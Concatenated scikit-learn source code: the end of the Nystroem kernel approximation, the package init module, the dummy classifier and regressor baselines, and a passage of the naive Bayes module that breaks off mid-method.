        self.normalization_ = np.dot(U * 1. / np.sqrt(S), V)
        self.components_ = basis
        self.component_indices_ = inds
        return self

    def transform(self, X):
        """Apply feature map to X.

        Computes an approximate feature map using the kernel
        between some training points and X.

        Parameters
        ----------
        X : array-like, shape=(n_samples, n_features)
            Data to transform.

        Returns
        -------
        X_transformed : array, shape=(n_samples, n_components)
            Transformed data.
        """
        check_is_fitted(self, 'components_')
        X = check_array(X, accept_sparse='csr')

        kernel_params = self._get_kernel_params()
        embedded = pairwise_kernels(X, self.components_,
                                    metric=self.kernel,
                                    filter_params=True,
                                    **kernel_params)
        return np.dot(embedded, self.normalization_.T)

    def _get_kernel_params(self):
        params = self.kernel_params
        if params is None:
            params = {}
        if not callable(self.kernel):
            params['gamma'] = self.gamma
            params['degree'] = self.degree
            params['coef0'] = self.coef0

        return params






"""
Machine learning module for Python
==================================

sklearn is a Python module integrating classical machine
learning algorithms in the tightly-knit world of scientific Python
packages (numpy, scipy, matplotlib).

It aims to provide simple and efficient solutions to learning problems
that are accessible to everybody and reusable in various contexts:
machine-learning as a versatile tool for science and engineering.

See http://scikit-learn.org for complete documentation.
"""
import sys
import re
import warnings


# Make sure that DeprecationWarning within this package always gets printed
warnings.filterwarnings('always', category=DeprecationWarning,
                        module='^{0}\.'.format(re.escape(__name__)))

# PEP0440 compatible formatted version, see:
# https://www.python.org/dev/peps/pep-0440/
#
# Generic release markers:
#   X.Y
#   X.Y.Z   # For bugfix releases
#
# Admissible pre-release markers:
#   X.YaN   # Alpha release
#   X.YbN   # Beta release
#   X.YrcN  # Release Candidate
#   X.Y     # Final release
#
# Dev branch marker is: 'X.Y.dev' or 'X.Y.devN' where N is an integer.
# 'X.Y.dev0' is the canonical version of 'X.Y.dev'
#
__version__ = '0.18.dev0'


try:
    # This variable is injected in the __builtins__ by the build
    # process. It used to enable importing subpackages of sklearn when
    # the binaries are not built
    __SKLEARN_SETUP__
except NameError:
    __SKLEARN_SETUP__ = False

if __SKLEARN_SETUP__:
    sys.stderr.write('Partial import of sklearn during the build process.\n')
    # We are not importing the rest of the scikit during the build
    # process, as it may not be compiled yet
else:
    from . import __check_build
    from .base import clone
    __check_build  # avoid flakes unused variable error

    __all__ = ['calibration', 'cluster', 'covariance', 'cross_decomposition',
               'cross_validation', 'datasets', 'decomposition', 'dummy',
               'ensemble', 'exceptions', 'externals', 'feature_extraction',
               'feature_selection', 'gaussian_process', 'grid_search',
               'isotonic', 'kernel_approximation', 'kernel_ridge',
               'lda', 'learning_curve', 'linear_model', 'manifold', 'metrics',
               'mixture', 'model_selection', 'multiclass', 'multioutput',
               'naive_bayes', 'neighbors', 'neural_network', 'pipeline',
               'preprocessing', 'qda', 'random_projection', 'semi_supervised',
               'svm', 'tree', 'discriminant_analysis',
               # Non-modules:
               'clone']

def setup_module(module):
    """Fixture for the tests to assure globally controllable seeding of RNGs"""
    import os
    import numpy as np
    import random

    # It could have been provided in the environment
    _random_seed = os.environ.get('SKLEARN_SEED', None)
    if _random_seed is None:
        _random_seed = np.random.uniform() * (2 ** 31 - 1)
    _random_seed = int(_random_seed)
    print("I: Seeding RNGs with %r" % _random_seed)
    np.random.seed(_random_seed)
    random.seed(_random_seed)






# Author: Mathieu Blondel <mathieu@mblondel.org>
#         Arnaud Joly <a.joly@ulg.ac.be>
#         Maheshakya Wijewardena <maheshakya.10@cse.mrt.ac.lk>
# License: BSD 3 clause
from __future__ import division

import warnings
import numpy as np
import scipy.sparse as sp

from .base import BaseEstimator, ClassifierMixin, RegressorMixin
from .utils import check_random_state
from .utils.validation import check_array
from .utils.validation import check_consistent_length
from .utils.validation import check_is_fitted
from .utils.random import random_choice_csc
from .utils.stats import _weighted_percentile
from .utils.multiclass import class_distribution


class DummyClassifier(BaseEstimator, ClassifierMixin):
    """
    DummyClassifier is a classifier that makes predictions using simple rules.

    This classifier is useful as a simple baseline to compare with other
    (real) classifiers. Do not use it for real problems.

    Read more in the :ref:`User Guide <dummy_estimators>`.

    Parameters
    ----------
    strategy : str, default="stratified"
        Strategy to use to generate predictions.

        * "stratified": generates predictions by respecting the training
          set's class distribution.
        * "most_frequent": always predicts the most frequent label in the
          training set.
        * "prior": always predicts the class that maximizes the class prior
          (like "most_frequent") and ``predict_proba`` returns the class prior.
        * "uniform": generates predictions uniformly at random.
        * "constant": always predicts a constant label that is provided by
          the user. This is useful for metrics that evaluate a non-majority
          class

          .. versionadded:: 0.17
             Dummy Classifier now supports prior fitting strategy using
             parameter *prior*.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use.

    constant : int or str or array of shape = [n_outputs]
        The explicit constant as predicted by the "constant" strategy. This
        parameter is useful only for the "constant" strategy.

    Attributes
    ----------
    classes_ : array or list of array of shape = [n_classes]
        Class labels for each output.

    n_classes_ : array or list of array of shape = [n_classes]
        Number of label for each output.

    class_prior_ : array or list of array of shape = [n_classes]
        Probability of each class for each output.

    n_outputs_ : int,
        Number of outputs.

    outputs_2d_ : bool,
        True if the output at fit is 2d, else false.

    sparse_output_ : bool,
        True if the array returned from predict is to be in sparse CSC format.
        Is automatically set to True if the input y is passed in sparse format.

    """

    def __init__(self, strategy="stratified", random_state=None,
                 constant=None):
        self.strategy = strategy
        self.random_state = random_state
        self.constant = constant

    def fit(self, X, y, sample_weight=None):
        """Fit the random classifier.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_outputs]
            Target values.

        sample_weight : array-like of shape = [n_samples], optional
            Sample weights.

        Returns
        -------
        self : object
            Returns self.
        """
        if self.strategy not in ("most_frequent", "stratified", "uniform",
                                 "constant", "prior"):
            raise ValueError("Unknown strategy type.")

        if self.strategy == "uniform" and sp.issparse(y):
            y = y.toarray()
            warnings.warn('A local copy of the target data has been converted '
                          'to a numpy array. Predicting on sparse target data '
                          'with the uniform strategy would not save memory '
                          'and would be slower.',
                          UserWarning)

        self.sparse_output_ = sp.issparse(y)

        if not self.sparse_output_:
            y = np.atleast_1d(y)

        self.output_2d_ = y.ndim == 2
        if y.ndim == 1:
            y = np.reshape(y, (-1, 1))

        self.n_outputs_ = y.shape[1]

        if self.strategy == "constant":
            if self.constant is None:
                raise ValueError("Constant target value has to be specified "
                                 "when the constant strategy is used.")
            else:
                constant = np.reshape(np.atleast_1d(self.constant), (-1, 1))
                if constant.shape[0] != self.n_outputs_:
                    raise ValueError("Constant target value should have "
                                     "shape (%d, 1)." % self.n_outputs_)

        (self.classes_,
         self.n_classes_,
         self.class_prior_) = class_distribution(y, sample_weight)

        if (self.strategy == "constant" and
                any(constant[k] not in self.classes_[k]
                    for k in range(self.n_outputs_))):
            # Checking in case of constant strategy if the constant
            # provided by the user is in y.
            raise ValueError("The constant target value must be "
                             "present in training data")

        if self.n_outputs_ == 1 and not self.output_2d_:
            self.n_classes_ = self.n_classes_[0]
            self.classes_ = self.classes_[0]
            self.class_prior_ = self.class_prior_[0]

        return self

    def predict(self, X):
        """Perform classification on test vectors X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Input vectors, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        y : array, shape = [n_samples] or [n_samples, n_outputs]
            Predicted target values for X.
        """
        check_is_fitted(self, 'classes_')

        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])
        # numpy random_state expects Python int and not long as size argument
        # under Windows
        n_samples = int(X.shape[0])
        rs = check_random_state(self.random_state)

        n_classes_ = self.n_classes_
        classes_ = self.classes_
        class_prior_ = self.class_prior_
        constant = self.constant
        if self.n_outputs_ == 1:
            # Get same type even for self.n_outputs_ == 1
            n_classes_ = [n_classes_]
            classes_ = [classes_]
            class_prior_ = [class_prior_]
            constant = [constant]
        # Compute probability only once
        if self.strategy == "stratified":
            proba = self.predict_proba(X)
            if self.n_outputs_ == 1:
                proba = [proba]

        if self.sparse_output_:
            class_prob = None
            if self.strategy in ("most_frequent", "prior"):
                classes_ = [np.array([cp.argmax()]) for cp in class_prior_]

            elif self.strategy == "stratified":
                class_prob = class_prior_

            elif self.strategy == "uniform":
                raise ValueError("Sparse target prediction is not "
                                 "supported with the uniform strategy")

            elif self.strategy == "constant":
                classes_ = [np.array([c]) for c in constant]

            y = random_choice_csc(n_samples, classes_, class_prob,
                                  self.random_state)
        else:
            if self.strategy in ("most_frequent", "prior"):
                y = np.tile([classes_[k][class_prior_[k].argmax()] for
                             k in range(self.n_outputs_)], [n_samples, 1])

            elif self.strategy == "stratified":
                y = np.vstack(classes_[k][proba[k].argmax(axis=1)] for
                              k in range(self.n_outputs_)).T

            elif self.strategy == "uniform":
                ret = [classes_[k][rs.randint(n_classes_[k], size=n_samples)]
                       for k in range(self.n_outputs_)]
                y = np.vstack(ret).T

            elif self.strategy == "constant":
                y = np.tile(self.constant, (n_samples, 1))

            if self.n_outputs_ == 1 and not self.output_2d_:
                y = np.ravel(y)

        return y

    def predict_proba(self, X):
        """
        Return probability estimates for the test vectors X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Input vectors, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        P : array-like or list of array-lke of shape = [n_samples, n_classes]
            Returns the probability of the sample for each class in
            the model, where classes are ordered arithmetically, for each
            output.
        """
        check_is_fitted(self, 'classes_')

        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])
        # numpy random_state expects Python int and not long as size argument
        # under Windows
        n_samples = int(X.shape[0])
        rs = check_random_state(self.random_state)

        n_classes_ = self.n_classes_
        classes_ = self.classes_
        class_prior_ = self.class_prior_
        constant = self.constant
        if self.n_outputs_ == 1 and not self.output_2d_:
            # Get same type even for self.n_outputs_ == 1
            n_classes_ = [n_classes_]
            classes_ = [classes_]
            class_prior_ = [class_prior_]
            constant = [constant]

        P = []
        for k in range(self.n_outputs_):
            if self.strategy == "most_frequent":
                ind = class_prior_[k].argmax()
                out = np.zeros((n_samples, n_classes_[k]), dtype=np.float64)
                out[:, ind] = 1.0
            elif self.strategy == "prior":
                out = np.ones((n_samples, 1)) * class_prior_[k]

            elif self.strategy == "stratified":
                out = rs.multinomial(1, class_prior_[k], size=n_samples)

            elif self.strategy == "uniform":
                out = np.ones((n_samples, n_classes_[k]), dtype=np.float64)
                out /= n_classes_[k]

            elif self.strategy == "constant":
                ind = np.where(classes_[k] == constant[k])
                out = np.zeros((n_samples, n_classes_[k]), dtype=np.float64)
                out[:, ind] = 1.0

            P.append(out)

        if self.n_outputs_ == 1 and not self.output_2d_:
            P = P[0]

        return P

    def predict_log_proba(self, X):
        """
        Return log probability estimates for the test vectors X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Input vectors, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        P : array-like or list of array-like of shape = [n_samples, n_classes]
            Returns the log probability of the sample for each class in
            the model, where classes are ordered arithmetically for each
            output.
        """
        proba = self.predict_proba(X)
        if self.n_outputs_ == 1:
            return np.log(proba)
        else:
            return [np.log(p) for p in proba]


class DummyRegressor(BaseEstimator, RegressorMixin):
    """
    DummyRegressor is a regressor that makes predictions using
    simple rules.

    This regressor is useful as a simple baseline to compare with other
    (real) regressors. Do not use it for real problems.

    Read more in the :ref:`User Guide <dummy_estimators>`.

    Parameters
    ----------
    strategy : str
        Strategy to use to generate predictions.

        * "mean": always predicts the mean of the training set
        * "median": always predicts the median of the training set
        * "quantile": always predicts a specified quantile of the training set,
          provided with the quantile parameter.
        * "constant": always predicts a constant value that is provided by
          the user.

    constant : int or float or array of shape = [n_outputs]
        The explicit constant as predicted by the "constant" strategy. This
        parameter is useful only for the "constant" strategy.

    quantile : float in [0.0, 1.0]
        The quantile to predict using the "quantile" strategy. A quantile of
        0.5 corresponds to the median, while 0.0 to the minimum and 1.0 to the
        maximum.

    Attributes
    ----------
    constant_ : float or array of shape [n_outputs]
        Mean or median or quantile of the training targets or constant value
        given by the user.

    n_outputs_ : int,
        Number of outputs.

    outputs_2d_ : bool,
        True if the output at fit is 2d, else false.
    """

    def __init__(self, strategy="mean", constant=None, quantile=None):
        self.strategy = strategy
        self.constant = constant
        self.quantile = quantile

    def fit(self, X, y, sample_weight=None):
        """Fit the random regressor.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape = [n_samples] or [n_samples, n_outputs]
            Target values.

        sample_weight : array-like of shape = [n_samples], optional
            Sample weights.

        Returns
        -------
        self : object
            Returns self.
        """

        if self.strategy not in ("mean", "median", "quantile", "constant"):
            raise ValueError("Unknown strategy type: %s, expected "
                             "'mean', 'median', 'quantile' or 'constant'"
                             % self.strategy)

        y = check_array(y, ensure_2d=False)
        if len(y) == 0:
            raise ValueError("y must not be empty.")

        self.output_2d_ = y.ndim == 2
        if y.ndim == 1:
            y = np.reshape(y, (-1, 1))
        self.n_outputs_ = y.shape[1]

        check_consistent_length(X, y, sample_weight)

        if self.strategy == "mean":
            self.constant_ = np.average(y, axis=0, weights=sample_weight)

        elif self.strategy == "median":
            if sample_weight is None:
                self.constant_ = np.median(y, axis=0)
            else:
                self.constant_ = [_weighted_percentile(y[:, k], sample_weight,
                                                       percentile=50.)
                                  for k in range(self.n_outputs_)]

        elif self.strategy == "quantile":
            if self.quantile is None or not np.isscalar(self.quantile):
                raise ValueError("Quantile must be a scalar in the range "
                                 "[0.0, 1.0], but got %s." % self.quantile)

            percentile = self.quantile * 100.0
            if sample_weight is None:
                self.constant_ = np.percentile(y, axis=0, q=percentile)
            else:
                self.constant_ = [_weighted_percentile(y[:, k], sample_weight,
                                                       percentile=percentile)
                                  for k in range(self.n_outputs_)]

        elif self.strategy == "constant":
            if self.constant is None:
                raise TypeError("Constant target value has to be specified "
                                "when the constant strategy is used.")

            self.constant = check_array(self.constant,
                                        accept_sparse=['csr', 'csc', 'coo'],
                                        ensure_2d=False, ensure_min_samples=0)

            if self.output_2d_ and self.constant.shape[0] != y.shape[1]:
                raise ValueError(
                    "Constant target value should have "
                    "shape (%d, 1)." % y.shape[1])

            self.constant_ = self.constant

        self.constant_ = np.reshape(self.constant_, (1, -1))
        return self

    def predict(self, X):
        """
        Perform classification on test vectors X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Input vectors, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        y : array, shape = [n_samples]  or [n_samples, n_outputs]
            Predicted target values for X.
        """
        check_is_fitted(self, "constant_")
        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])
        n_samples = X.shape[0]

        y = np.ones((n_samples, 1)) * self.constant_

        if self.n_outputs_ == 1 and not self.output_2d_:
            y = np.ravel(y)

        return y






# -*- coding: utf-8 -*-

"""
The :mod:`sklearn.naive_bayes` module implements Naive Bayes algorithms. These
are supervised learning methods based on applying Bayes' theorem with strong
(naive) feature independence assumptions.
"""

# Author: Vincent Michel <vincent.michel@inria.fr>
#         Minor fixes by Fabian Pedregosa
#         Amit Aides <amitibo@tx.technion.ac.il>
#         Yehuda Finkelstein <yehudaf@tx.technion.ac.il>
#         Lars Buitinck
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#         (parts based on earlier work by Mathieu Blondel)
#
# License: BSD 3 clause

from abc import ABCMeta, abstractmethod

import numpy as np
from scipy.sparse import issparse

from .base import BaseEstimator, ClassifierMixin
from .preprocessing import binarize
from .preprocessing import LabelBinarizer
from .preprocessing import label_binarize
from .utils import check_X_y, check_array
from .utils.extmath import safe_sparse_dot, logsumexp
from .utils.multiclass import _check_partial_fit_first_call
from .utils.fixes import in1d
from .utils.validation import check_is_fitted
from .externals import six

__all__ = ['BernoulliNB', 'GaussianNB', 'MultinomialNB']


class BaseNB(six.with_metaclass(ABCMeta, BaseEstimator, ClassifierMixin)):
    """Abstract base class for naive Bayes estimators"""

    @abstractmethod
    def _joint_log_likelihood(self, X):
        """Compute the unnormalized posterior log probability of X

        I.e. ``log P(c) + log P(x|c)`` for all rows x of X, as an array-like of
        shape [n_classes, n_samples].

        Input is passed to _joint_log_likelihood as-is by predict,
        predict_proba and predict_log_proba.
        """

    def predict(self, X):
        """
        Perform classification on an array of test vectors X.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array, shape = [n_samples]
            Predicted target values for X
        """
        jll = self._joint_log_likelihood(X)
        return self.classes_[np.argmax(jll, axis=1)]

    def predict_log_proba(self, X):
        """
        Return log-probability estimates for the test vector X.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array-like, shape = [n_samples, n_classes]
            Returns the log-probability of the samples for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute `classes_`.
        """
        jll = self._joint_log_likelihood(X)
        # normalize by P(x) = P(f_1, ..., f_n)
        log_prob_x = logsumexp(jll, axis=1)
        return jll - np.atleast_2d(log_prob_x).T

    def predict_proba(self, X):
        """
        Return probability estimates for the test vector X.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array-like, shape = [n_samples, n_classes]
            Returns the probability of the samples for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute `classes_`.
        """
        return np.exp(self.predict_log_proba(X))


class GaussianNB(BaseNB):
    """
    Gaussian Naive Bayes (GaussianNB)

    Can perform online updates to model parameters via `partial_fit` method.
    For details on algorithm used to update feature means and variance online,
    see Stanford CS tech report STAN-CS-79-773 by Chan, Golub, and LeVeque:

        http://i.stanford.edu/pub/cstr/reports/cs/tr/79/773/CS-TR-79-773.pdf

    Read more in the :ref:`User Guide <gaussian_naive_bayes>`.

    Parameters
    ----------
    priors : array-like, shape (n_classes,)
        Prior probabilities of the classes. If specified the priors are not
        adjusted according to the data.

    Attributes
    ----------
    class_prior_ : array, shape (n_classes,)
        probability of each class.

    class_count_ : array, shape (n_classes,)
        number of training samples observed in each class.

    theta_ : array, shape (n_classes, n_features)
        mean of each feature per class

    sigma_ : array, shape (n_classes, n_features)
        variance of each feature per class

    Examples
    --------
    >>> import numpy as np
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> Y = np.array([1, 1, 1, 2, 2, 2])
    >>> from sklearn.naive_bayes import GaussianNB
    >>> clf = GaussianNB()
    >>> clf.fit(X, Y)
    GaussianNB(priors=None)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]
    >>> clf_pf = GaussianNB()
    >>> clf_pf.partial_fit(X, Y, np.unique(Y))
    GaussianNB(priors=None)
    >>> print(clf_pf.predict([[-0.8, -1]]))
    [1]
    """

    def __init__(self, priors=None):
        self.priors = priors

    def fit(self, X, y, sample_weight=None):
        """Fit Gaussian Naive Bayes according to X, y

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target values.

        sample_weight : array-like, shape (n_samples,), optional (default=None)
            Weights applied to individual samples (1. for unweighted).

            .. versionadded:: 0.17
               Gaussian Naive Bayes supports fitting with *sample_weight*.

        Returns
        -------
        self : object
            Returns self.
        """
        X, y = check_X_y(X, y)
        return self._partial_fit(X, y, np.unique(y), _refit=True,
                                 sample_weight=sample_weight)

    @staticmethod
    def _update_mean_variance(n_past, mu, var, X, sample_weight=None):
        """Compute online update of Gaussian mean and variance.

        Given starting sample count, mean, and variance, a new set of
        points X, and optionally sample weights, return the updated mean and
        variance. (NB - each dimension (column) in X is treated as independent
        -- you get variance, not covariance).

        Can take scalar mean and variance, or vector mean and variance to
        simultaneously update a number of independent Gaussians.

        See Stanford CS tech report STAN-CS-79-773 by Chan, Golub, and LeVeque:

        http://i.stanford.edu/pub/cstr/reports/cs/tr/79/773/CS-TR-79-773.pdf

        Parameters
        ----------
        n_past : int
            Number of samples represented in old mean and variance. If sample
            weights were given, this should contain the sum of sample
            weights represented in old mean and variance.

        mu : array-like, shape (number of Gaussians,)
            Means for Gaussians in original set.

        var : array-like, shape (number of Gaussians,)
            Variances for Gaussians in original set.

        sample_weight : array-like, shape (n_samples,), optional (default=None)
            Weights applied to individual samples (1. for unweighted).

        Returns
        -------
        total_mu : array-like, shape (number of Gaussians,)
            Updated mean for each Gaussian over the combined set.

        total_var : array-like, shape (number of Gaussians,)
            Updated variance for each Gaussian over the combined set.
        """
        if X.shape[0] == 0:
            return mu, var

        # Compute (potentially weighted) mean and variance of new datapoints
        if sample_weight is not None:
            n_new = float(sample_weight.sum())
            new_mu = np.average(X, axis=0, weights=sample_weight / n_new)
            new_var = np.average((X - new_mu) ** 2, axis=0,
                                 weights=sample_weight / n_new)
        else:
            n_new = X.shape[0]
            new_var = np.var(X, axis=0)
            new_mu = np.mean(X, axis=0)

        if n_past == 0:
            return new_mu, new_var

        n_total = float(n_past + n_new)

        # Combine mean of old and new data, taking into consideration
        # (weighted) number of observations
        total_mu = (n_new * new_mu + n_past * mu) / n_total

        # Combine variance of old and new data, taking into consideration
        # (weighted) number of observations. This is achieved by combining
        # the sum-of-squared-differences (ssd)
        old_ssd = n_past * var
        new_ssd = n_new * new_var
        total_ssd = (old_ssd + new_ssd +
                     (n_past / float(n_new * n_total)) *
                     (n_new * mu - n_new * new_mu) ** 2)
        total_var = total_ssd / n_total

        return total_mu, total_var

    def partial_fit(self, X, y, classes=None, sample_weight=None):
        """Incremental fit on a batch of samples.

        This method is expected to be called several times consecutively
        on different chunks of a dataset so as to implement out-of-core
        or online learning.

        This is especially useful when the whole dataset is too big to fit in
        memory at once.

        This method has some performance and numerical stability overhead,
        hence it is better to call partial_fit on chunks of data that are
        as large as possible (as long as fitting in the memory budget) to
        hide the overhead.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target values.

        classes : array-like, shape (n_classes,), optional (default=None)
            List of all the classes that can possibly appear in the y vector.

            Must be provided at the first call to partial_fit, can be omitted
            in subsequent calls.

        sample_weight : array-like, shape (n_samples,), optional (default=None)
            Weights applied to individual samples (1. for unweighted).

            .. versionadded:: 0.17

        Returns
        -------
        self : object
            Returns self.
        """
        return self._partial_fit(X, y, classes, _refit=False,
                                 sample_weight=sample_weight)

    def _partial_fit(self, X, y, classes=None, _refit=False,
                     sample_weight=None):
        """Actual implementation of Gaussian NB fitting.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target values.

        classes : array-like, shape (n_classes,), optional (default=None)
            List of all the classes that can possibly appear in the y vector.

            Must be provided at the first call to partial_fit, can be omitted
            in subsequent calls.

        _refit: bool, optional (default=False)
            If true, act as though this were the first time we called
            _partial_fit (ie, throw away any past fitting and start over).

        sample_weight : array-like, shape (n_samples,), optional (default=None)
            Weights applied to individual samples (1. for unweighted).

        Returns
        -------
        self : object
            Returns self.
        """
        X, y = check_X_y(X, y)

        # If the ratio of data variance between dimensions is too small, it
        # will cause numerical errors. To address this, we artificially
        # boost the variance by epsilon, a small fraction of the standard
        # deviation of the largest dimension.
        epsilon = 1e-9 * np.var(X, axis=0).max()

        if _refit:
            self.classes_ = None

        if _check_partial_fit_first_call(self, classes):
            # This is the first call to partial_fit:
            # initialize various cumulative counters
            n_features = X.shape[1]
            n_classes = len(self.classes_)
            self.theta_ = np.zeros((n_classes, n_features))
            self.sigma_ = np.zeros((n_classes, n_features))

            self.class_count_ = np.zeros(n_classes, dtype=np.float64)

            # Initialise the class prior
            n_classes = len(self.classes_)
            # Take into account the priors
            if self.priors is not None:
                priors = np.asarray(self.priors)
                # Check that the provide prior match the number of classes
                if len(priors) != n_classes:
                    raise ValueError('Number of priors must match number of'
                                     ' classes.')
                # Check that the sum is 1
                if priors.sum() != 1.0:
                    raise ValueError('The sum of the priors should be 1.')
                # Check that the prior are non-negative
                if (priors < 0).any():
                    raise ValueError('Priors must be non-negative.')
                self.class_prior_ = priors
            else:
                # Initialize the priors to zeros for each class
                self.class_prior_ = np.zeros(len(self.classes_),
                                             dtype=np.float64)
        else:
            if X.shape[1] != self.theta_.shape[1]:
                msg = "Number of features %d does not match previous data %d."
                raise ValueError(msg % (X.shape[1], self.theta_.shape[1]))
            # Put epsilon back in each time
            self.sigma_[:, :] -= epsilon

        classes = self.classes_

        unique_y = np.unique(y)
        unique_y_in_classes = in1d(unique_y, classes)

        if not np.all(unique_y_in_classes):
            raise ValueError("The target label(s) %s in y do not exist in the "
                             "initial classes %s" %
                             (y[~unique_y_in_classes], classes))

        for y_i in unique_y:
            i = classes.searchsorted(y_i)
            X_i = X[y == y_i, :]

            if sample_weight is not None:
                sw_i = sample_weight[y == y_i]
                N_i = sw_i.sum()
            else:
                sw_i = None
                N_i = X_i.shape[0]

            new_theta, new_sigma = self._update_mean_variance(
                self.class_count_[i], self.theta_[i, :], self.sigma_[i, :],
                X_i, sw_i)

            self.theta_[i, :] = new_theta
            self.sigma_[i, :] = new_sigma
            self.class_count_[i] += N_i

        self.sigma_[:, :] += epsilon

        # Update if only no priors is provided
        if self.priors is None:
            # Empirical prior, with sample_weight taken into account
            self.class_prior_ = self.class_count_ / self.class_count_.sum()

        return self

    def _joint_log_likelihood(self, X):
        check_is_fitted(self, "classes_")

        X = check_array(X)
        joint_log_likelihood = []
        for i in range(np.size(self.classes_)):
            jointi = np.log(self.class_prior_[i])
            n_ij = - 0.5 * np.sum(np.log(2. * np.pi * self.sigma_[i, :]))
            n_ij -= 0.5 * np.sum(((X - self.theta_[i, :]) ** 2) /
                                 (self.sigma_[i, :]), 1)
            joint_log_likelihood.append(jointi + n_ij)

        joint_log_likelihood = np.array(joint_log_likelihood).T
        return joint_log_likelihood


class BaseDiscreteNB(BaseNB):
    """Abstract base class for naive Bayes on discrete/categorical data

    Any estimator based on this class should provide:

    __init__
    _joint_log_likelihood(X) as per BaseNB
    """

    def _update_class_log_prior(self, class_prior=None):
        n_classes = len(self.classes_)
        if class_prior is not None:
            if len(class_prior) != n_classes:
                raise ValueError("Number of priors must match number of"
                                 " classes.")
            self.class_log_prior_ = np.log(class_prior)
        elif self.fit_prior:
            # empirical prior, with sample_weight taken into account
            self.class_log_prior_ = (np.log(self.class_count_) -
                                     np.log(self.class_count_.sum()))
        else:
            self.class_log_prior_ = np.zeros(n_classes) - np.log(n_classes)

    def partial_fit(self, X, y, classes=None, sample_weight=None):
        """Incremental fit on a batch of samples.

        This method is expected to be called several times consecutively
        on different chunks of a dataset so as to implement out-of-core
        or online learning.

        This is especially useful when the whole dataset is too big to fit in
        memory at once.

        This method has some performance overhead hence it is better to call
        partial_fit on chunks of data that are as large as possible
        (as long as fitting in the memory budget) to hide the overhead.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target values.

        classes : array-like, shape = [n_classes], optional (default=None)
            List of all the classes that can possibly appear in the y vector.

            Must be provided at the first call to partial_fit, can be omitted
            in subsequent calls.

        sample_weight : array-like, shape = [n_samples], optional (default=None)
            Weights applied to individual samples (1. for unweighted).

        Returns
        -------
        self : object
            Returns self.
        """
        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        _, n_features = X.shape

        if _check_partial_fit_first_call(self, classes):
            # This is the first call to partial_fit:
            # initialize various cumulative counters
            n_effective_classes = len(classes) if len(classes) > 1 else 2
            self.class_count_ = np.zeros(n_effective_classes, dtype=np.float64)
            self.feature_count_ = np.zeros((n_effective_classes, n_features),
                                           dtype=np.float64)
        elif n_features != self.coef_.shape[1]:
            msg = "Number of features %d does not match previous data %d."
            raise ValueError(msg % (n_features, self.coef_.shape[-1]))

        Y = label_binarize(y, classes=self.classes_)
        if Y.shape[1] == 1:
            Y = np.concatenate((1 - Y, Y), axis=1)

        n_samples, n_classes = Y.shape

        if X.shape[0] != Y.shape[0]:
            msg = "X.shape[0]=%d and y.shape[0]=%d are incompatible."
            raise ValueError(msg % (X.shape[0], y.shape[0]))

        # label_binarize() returns arrays with dtype=np.int64.
        # We convert it to np.float64 to support sample_weight consistently
        Y = Y.astype(np.float64)
        if sample_weight is not None:
            sample_weight = np.atleast_2d(sample_weight)
            Y *= check_array(sample_weight).T

        class_prior = self.class_prior

        # Count raw events from data before updating the class log prior
        # and feature log probas
        self._count(X, Y)

        # XXX: OPTIM: we could introduce a public finalization method to
        # be called by the user explicitly just once after several consecutive
        # calls to partial_fit and prior any call to predict[_[log_]proba]
        # to avoid computing the smooth log probas at each call to partial fit
        self._update_feature_log_prob()
        self._update_class_log_prior(class_prior=class_prior)
        return self

    def fit(self, X, y, sample_weight=None):
        """Fit Naive Bayes classifier according to X, y

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target values.

        sample_weight : array-like, shape = [n_samples], optional (default=None)
            Weights applied to individual samples (1. for unweighted).

        Returns
        -------
        self : object
            Returns self.
        """
        X, y = check_X_y(X, y, 'csr')
        _, n_features = X.shape

        labelbin = LabelBinarizer()
        Y = labelbin.fit_transform(y)
        self.classes_ = labelbin.classes_
        if Y.shape[1] == 1:
            Y = np.concatenate((1 - Y, Y), axis=1)

        # LabelBinarizer().fit_transform() returns arrays with dtype=np.int64.
        # We convert it to np.float64 to support sample_weight consistently;
        # this means we also don't have to cast X to floating point
        Y = Y.astype(np.float64)
        if sample_weight is not None:
            sample_weight = np.atleast_2d(sample_weight)
